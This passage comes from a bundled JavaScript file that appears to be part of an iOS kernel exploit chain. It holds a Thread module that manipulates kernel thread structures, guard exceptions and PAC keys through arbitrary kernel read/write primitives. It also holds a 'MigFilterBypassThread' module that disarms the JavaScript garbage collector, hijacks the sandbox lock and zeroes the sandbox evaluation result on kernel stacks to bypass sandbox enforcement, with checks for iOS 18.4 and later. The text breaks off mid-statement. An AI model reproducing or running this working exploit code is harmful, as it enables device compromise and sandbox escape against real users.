__webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Thread)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ \"./src/libs/TaskRop/ThreadState.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst AST_GUARD = 0x1000;\nconst TAG = \"THREAD\";\n\nclass Thread\n{\n\tstatic getTro(thread)\n\t{\n\t\tlet tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().tro);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n))\n\t\t{\n\t\t\t//console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`);\n\t\t\treturn 0n;\n\t\t}\n\t\treturn tro;\n\t}\n\tstatic getCtid(thread)\n\t{\n\t\tlet ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ctid);\n\t\treturn ctid;\n\t}\n\tstatic getTask(thread)\n\t{\n\t\tlet tro = this.getTro(thread);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n) || tro === 0n)\n\t\t\treturn 0n;\n\t\tlet task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().troTask);\n\t\treturn task;\n\t}\n\tstatic next(thread)\n\t{\n\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads) < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\tlet next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads);\n\t\tif (next < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\treturn next;\n\t}\n\tstatic setMutex(thread,ctid)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData, ctid);\n\t}\n\tstatic getMutex(thread)\n\t{\n\t\tlet mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData);\n\t\treturn mutex;\n\t}\n\tstatic getStack(thread)\n\t{\n\t\tlet stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().kstackptr);\n\t\treturn stackptr;\n\t}\n\tstatic injectGuardException(thread,code)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`);\n\t\t\treturn false;\n\t\t}\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0x17n);\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, code);\n\t\t}\n\t\telse {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, code);\n\t\t}\n\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast |= AST_GUARD;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\t\treturn true;\n\t}\n\tstatic clearGuardException(thread)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`);\n\t\t}\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast &= ~AST_GUARD | 0x80000000;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode) == 0x17n) {\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, 0n);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t}\n\t}\n\tstatic getOptions(thread)\n\t{\n\t\tlet options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options);\n\t\treturn options;\n\t}\n\tstatic setOptions(thread, options)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options, options);\n\t}\n\tstatic getRopPid(thread)\n\t{\n\t\tlet ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid);\n\t\treturn ropPid;\n\t}\n\tstatic getJopPid(thread)\n\t{\n\t\tlet jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid);\n\t\treturn jopPid;\n\t}\n\tstatic setPACKeys(thread, keyA, keyB)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid, keyA);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid, keyB);\n\t}\n\n\tstatic getState(machThread)\n\t{\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlet stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem + 0x200n;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_get_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tstateCountPtr);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to read thread state\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_SIZE);\n\t\tlet state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__[\"default\"](stateBuff);\n\t\treturn state;\n\t}\n\n\tstatic setState(machThread, threadAddr, state)\n\t{\n\t\tlet options = 0;\n\t\tif (threadAddr) {\n\t\t\toptions = Thread.getOptions(threadAddr);\n\t\t\toptions |= 0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write(statePtr, state.buffer);\n\t\t//console.log(TAG,`thread:${Utils.hex(thread)}`);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_set_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tif (kr != 0)\n\t\t{\n\t\t\tconsole.log(TAG,`Failed thread_set_state with error:${kr}`);\n\t\t\treturn false;\n\t\t}\n\n\t\tif (threadAddr) {\n\t\t\toptions &= ~0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic resume(machThread)\n\t{\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_resume\", machThread);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to resume suspended thread\");\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/ThreadState.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/TaskRop/ThreadState.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ ThreadState)\n/* harmony export */ });\n/* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ \"./src/libs/TaskRop/RegistersStruct.js\");\n\n\nclass ThreadState\n{\n\t#buffer;\n\t#dataView;\n\tconstructor(buffer, offset = 0)\n\t{\n\t\tthis.#buffer = buffer;\n\t\tthis.#dataView = new DataView(buffer,offset);\n\t\tthis.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"](buffer,offset);\n\t}\n\tget buffer()\n\t{\n\t\treturn this.#buffer;\n\t}\n\tget opaque_fp()\n\t{\n\t\treturn this.#dataView.getBigUint64(232,true);\n\t}\n\tset opaque_fp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(232,value,true);\n\t}\n\tget opaque_lr()\n\t{\n\t\treturn this.#dataView.getBigUint64(240,true);\n\t}\n\tset opaque_lr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(240,value,true);\n\t}\n\tget opaque_sp()\n\t{\n\t\treturn this.#dataView.getBigUint64(248,true);\n\t}\n\tset opaque_sp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(248,value,true);\n\t}\n\tget opaque_pc()\n\t{\n\t\treturn this.#dataView.getBigUint64(256,true);\n\t}\n\tset opaque_pc(value)\n\t{\n\t\tthis.#dataView.setBigUint64(256,value,true);\n\t}\n\tget cpsr()\n\t{\n\t\treturn this.#dataView.getUint32(264,true);\n\t}\n\tset cpsr(value)\n\t{\n\t\tthis.#dataView.setUint32(264,value,true);\n\t}\n\tget opaque_flags()\n\t{\n\t\treturn this.#dataView.getUint32(268,true);\n\t}\n\tset opaque_flags(value)\n\t{\n\t\tthis.#dataView.setUint32(268,value,true);\n\t}\n}\n\n/***/ })\n\n/******/ \t});\n/************************************************************************/\n/******/ \t// The module cache\n/******/ \tvar __webpack_module_cache__ = {};\n/******/ \t\n/******/ \t// The require function\n/******/ \tfunction __webpack_require__(moduleId) {\n/******/ \t\t// Check if module is in cache\n/******/ \t\tvar cachedModule = __webpack_module_cache__[moduleId];\n/******/ \t\tif (cachedModule !== undefined) {\n/******/ \t\t\treturn cachedModule.exports;\n/******/ \t\t}\n/******/ \t\t// Create a new module (and put it into the cache)\n/******/ \t\tvar module = __webpack_module_cache__[moduleId] = {\n/******/ \t\t\t// no module.id needed\n/******/ \t\t\t// no module.loaded needed\n/******/ \t\t\texports: {}\n/******/ \t\t};\n/******/ \t\n/******/ \t\t// Execute the module function\n/******/ \t\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n/******/ \t\n/******/ \t\t// Return the exports of the module\n/******/ \t\treturn module.exports;\n/******/ \t}\n/******/ \t\n/************************************************************************/\n/******/ \t/* webpack/runtime/define property getters */\n/******/ \t(() => {\n/******/ \t\t// define getter functions for harmony exports\n/******/ \t\t__webpack_require__.d = (exports, definition) => {\n/******/ \t\t\tfor(var key in definition) {\n/******/ \t\t\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n/******/ \t\t\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/hasOwnProperty shorthand */\n/******/ \t(() => {\n/******/ \t\t__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/make namespace object */\n/******/ \t(() => {\n/******/ \t\t// define __esModule on exports\n/******/ \t\t__webpack_require__.r = (exports) => {\n/******/ \t\t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n/******/ \t\t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n/******/ \t\t\t}\n/******/ \t\t\tObject.defineProperty(exports, '__esModule', { value: true });\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/************************************************************************/\nvar __webpack_exports__ = {};\n// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk.\n(() => {\n/*!**************************************!*\\\n !*** ./src/MigFilterBypassThread.js ***!\n \\**************************************/\n__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/Task */ \"./src/libs/TaskRop/Task.js\");\n/* harmony import */ var libs_TaskRop_Thread__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Thread */ \"./src/libs/TaskRop/Thread.js\");\n/* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ \"./src/libs/TaskRop/TaskRop.js\");\n/* harmony import */ var libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Logger */ \"./src/libs/JSUtils/Logger.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/DriverNewThread */ \"./src/libs/Driver/DriverNewThread.js\");\n\n\n\n\n\n\n\n\n\nconst TAG = \"MIG_FILTER_BYPASS\";\n\nconst RUN_FLAG_STOP = 0;\nconst RUN_FLAG_RUN = 1;\nconst RUN_FLAG_PAUSE = 2;\n\nfunction disarm_gc() {\n\n\tlet vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n);\n\tlet heap = vm + 0xc0n;\n\tlet m_threadGroup = uread64(heap + 0x198n);\n\tlet threads = uread64(m_threadGroup);\n\tuwrite64(threads + 0x20n, 0x0n);\n\t// LOG(\"[+] gc disarmed\");\n}\n\nfunction kstrip(addr) {\n\treturn addr | 0xffffff8000000000n;\n}\n\nfunction lockSandboxLock() {\n\t// Find \"_duplicate_lock\" address, which is a \"lck_rw_t\"\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t//console.log(TAG, \"kernelSlide: \" + Utils.hex(kernelSlide));\n\t//console.log(TAG, \"lockAddr: \" + Utils.hex(lockAddr));\n\t//console.log(TAG, \"sbxMessageAddr: \" + Utils.hex(sbxMessageAddr));\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\t//for (let i=0, j=0; i<16; i+=4, j++)\n\t//\tconsole.log(TAG, `${Utils.hex(i)}: ${Utils.hex(lockBuff32[j]).padStart(8, '0')}`);\n\n\tlet lockData = lockBuff32[2];\n\tlockData |= 0x410000;\t// interlock + can_sleep\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n\n\t// Do we need to clear this addr while locking too? Or maybe just when we unlock is enough?\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n}\n\nfunction unlockSandboxLock() {\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t\n\t// clear the sbx message buffer (pointer) used to check for duplicate messages.\n\t// This should solve an issue with sfree() if we unlock and lock sandbox quick enough.\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\n\tlet lockData = lockBuff32[2];\n\tlockData &= ~0x10000;\t// interlock\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n}\n\nfunction dumpKMem(addr, size) {\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].read(addr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff64 = new BigUint64Array(buff);\n\tfor (let i=0, j=0; i<size; i+=8, j++) {\n\t\tlet bits = buff64[j] & 0xfffn;\n\t\tif (bits === 0x4a4n)\n\t\t\tconsole.log(TAG, `[${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(addr + BigInt(i))}] ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(i)}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(buff64[j]).padStart(16, '0')} <<< FOUND ?`);\n\t\telse\n\t\t\tconsole.log(TAG, `[${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(addr + BigInt(i))}] ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(i)}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(buff64[j]).padStart(16, '0')}`);\n\t}\n}\n\nfunction findReturnValueOffs(addr) {\n\t// Read from thread kstack, page aligned\n\tconst READ_SIZE = 0x1000;\n\t//Chain.read(addr, Native.mem, READ_SIZE);\n\tlet pageAddr = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].trunc_page(addr);\n\tlet startAddr = pageAddr + 0x3000n;\n\tlet buff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(startAddr, READ_SIZE);\n\tif (!buff)\n\t\treturn false;\n\tlet buff64 = new BigUint64Array(buff);\n\tlet expectedLR = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migKernelStackLR;\n\n\t// Look for 0xxxxxxxxxxxxxx4a4 value, which should be the LSB of LR pointing to Sandbox.kext inside\n\t// \"_sb_evaluate_internal()\", so meaning we found the function stack we need (_sb_eval).\n\tfor (let i=0, j=0; i<READ_SIZE; i+=8, j++) {\n\t\tlet val = kstrip(buff64[j]);\n\t\tif (val === expectedLR) {\n\t\t\t//console.log(TAG, `Matching LR found at ${Utils.hex(startAddr + BigInt(i))}: ${Utils.hex(buff64[j])}`);\n\n\t\t\t// The return value of _eval() is stored in the stack at -40 bytes from LR.\n\t\t\tlet offs = startAddr + BigInt(i - 40);\n\t\t\treturn offs;\n\t\t}\n\t}\n\treturn false;\n}\n\nfunction disableFilterOnThread(threadAddr) {\n\t//console.log(TAG, \"Read kstack of thread: \" + Utils.hex(threadAddr));\n\tlet kstack = libs_TaskRop_Thread__WEBPACK_IMPORTED_MODULE_3__[\"default\"].getStack(threadAddr);\n\tif (!kstack)\n\t\treturn false;\n\n\tkstack = kstrip(kstack);\n\tlet kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].UINT64_SIZE * 12);\n\tlet kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].read64(kstack + kernelSPOffset);\n\tif (!kernelSP)\n\t\treturn false;\n\n\t//console.log(TAG, \"kstack: \" + Utils.hex(kstack));\n\t//console.log(TAG, \"kernelSP: \" + Utils.hex(kernelSP));\n\n\t//dumpKMem(kstack, 0x70);\n\t//dumpKMem(kernelSP, 0x1000);\n\n\t//console.log(TAG, \"Possible MIG syscall with thread: \" + Utils.hex(threadAddr));\n\n\tlet offs = findReturnValueOffs(kernelSP);\n\tif (!offs) {\n\t\t//console.log(TAG, \"Unable to find offset\");\n\t\treturn false;\n\t}\n\n\t//console.log(TAG, \"Offs found at: \" + Utils.hex(offs));\n\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(offs, 0n);\n\n\tconsole.log(TAG, \"MIG syscall intercepted for thread: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(threadAddr));\n\n\treturn true;\n}\n\nfunction waitForMigSyscall(selfTaskAddr, runBypassFlagPtr, timeout=5000) {\n\t//console.log(TAG, \"Wait for MIG syscall...\");\n\tlet startTimestamp = Date.now();\n\n\twhile (true) {\n\t\tlet runBypassFlag = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(runBypassFlagPtr);\n\t\tif (!runBypassFlag)\n\t\t\treturn RUN_FLAG_STOP;\n\t\tif (runBypassFlag == RUN_FLAG_PAUSE)\n\t\t\treturn RUN_FLAG_PAUSE;\n\n\t\tif (timeout && (Date.now() - startTimestamp >= timeout)) {\n\t\t\tconsole.log(TAG, \"Timeout waiting for a syscall\");\n\t\t\tbreak;\n\t\t}\n\n\t\tlet filterTriggered = false;\n\t\tlet monitorThread1 = monitorThread1Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread1Ptr) : false;\n\t\tlet monitorThread2 = monitorThread2Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread2Ptr) : false;\n\n\t\tif (monitorThread1 && monitorThread2) {\n\t\t\t//console.log(TAG, \"check monitored threads\");\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread1);\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread2);\n\t\t}\n\t\telse {\n\t\t\t//console.log(TAG, \"Waiting for monitored threads...\");\n\t\t}\n\t\t\n\t\tif (filterTriggered)\n\t\t\tbreak;\n\n\t\t//console.log(TAG, \"No MIG syscall detected\");\n\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 50000);\n\t}\n\t//console.log(TAG, \"MIG syscall intercepted!\");\n\treturn RUN_FLAG_RUN;\n}\n\nfunction startFilterBypass(runBypassFlagPtr) {\n\tlet run = RUN_FLAG_PAUSE;\n\n\tlet selfTaskAddr = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].gSelfTask.addr;\n\n\twhile (run) {\n\t\tif (run == RUN_FLAG_PAUSE) {\n\t\t\tconsole.log(TAG, \"Pausing filter bypass\");\n\t\t\twhile (true) {\n\t\t\t\trun = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(runBypassFlagPtr);\n\t\t\t\tif (run != RUN_FLAG_PAUSE) {\n\t\t\t\t\tif (run == RUN_FLAG_RUN)\n\t\t\t\t\t\tconsole.log(TAG, \"Resuming filter bypass\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Locking sandbox...\");\n\t\tlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox locked\");\n\n\t\trun = waitForMigSyscall(selfTaskAddr, runBypassFlagPtr, 5000);\n\n\t\tunlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox unlocked\");\n\n\t\tif (run)\n\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"sched_yield\");\n\t}\n}\n\ndisarm_gc();\n\n// Register log function\n//globalThis.LOG_POST_TO_FILE = false;\nconsole.log = libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__[\"default\"].log;\n\nconsole.log(TAG, \"Thread initialized!\");\n\nlet kernelControlPtr = thread_arg;\nlet kernelRWPtr = thread_arg + 0x8n;\nlet kernelBasePtr = thread_arg + 0x10n;\nlet mainThreadAddrPtr = thread_arg + 0x18n;\nlet runBypassFlagPtr = thread_arg + 0x20n;\nlet isRunningPtr = thread_arg + 0x28n;\nlet mutexPtr = thread_arg + 0x30n;\nlet migLockPtr = thread_arg + 0x38n;\nlet migSbxMsgPtr = thread_arg + 0x40n;\nlet migKernelStackLRPtr = thread_arg + 0x48n;\nlet monitorThread1Ptr = thread_arg + 0x50n;\nlet monitorThread2Ptr = thread_arg + 0x58n;\n\nlet kernelControl = uread64(kernelControlPtr);\nlet kernelRW = uread64(kernelRWPtr);\nlet kernelBase = uread64(kernelBasePtr);\nlet mainThreadAddr = uread64(mainThreadAddrPtr);\nrunBypassFlagPtr = uread64(runBypassFlagPtr);\nisRunningPtr = uread64(isRunningPtr);\nlet mutex = uread64(mutexPtr);\nlet migLock = uread64(migLockPtr);\nlet migSbxMsg = uread64(migSbxMsgPtr);\nlet migKernelStackLR = uread64(migKernelStackLRPtr);\nmonitorThread1Ptr = uread64(monitorThread1Ptr);\nmonitorThread2Ptr = uread64(monitorThread2Ptr);\n\nconsole.log(TAG, \"kernelControl: \" + kernelControl);\nconsole.log(TAG, \"kernelRW: \" + kernelRW);\nconsole.log(TAG, \"kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(kernelBase));\nconsole.log(TAG, \"mainThreadAddr: \" + 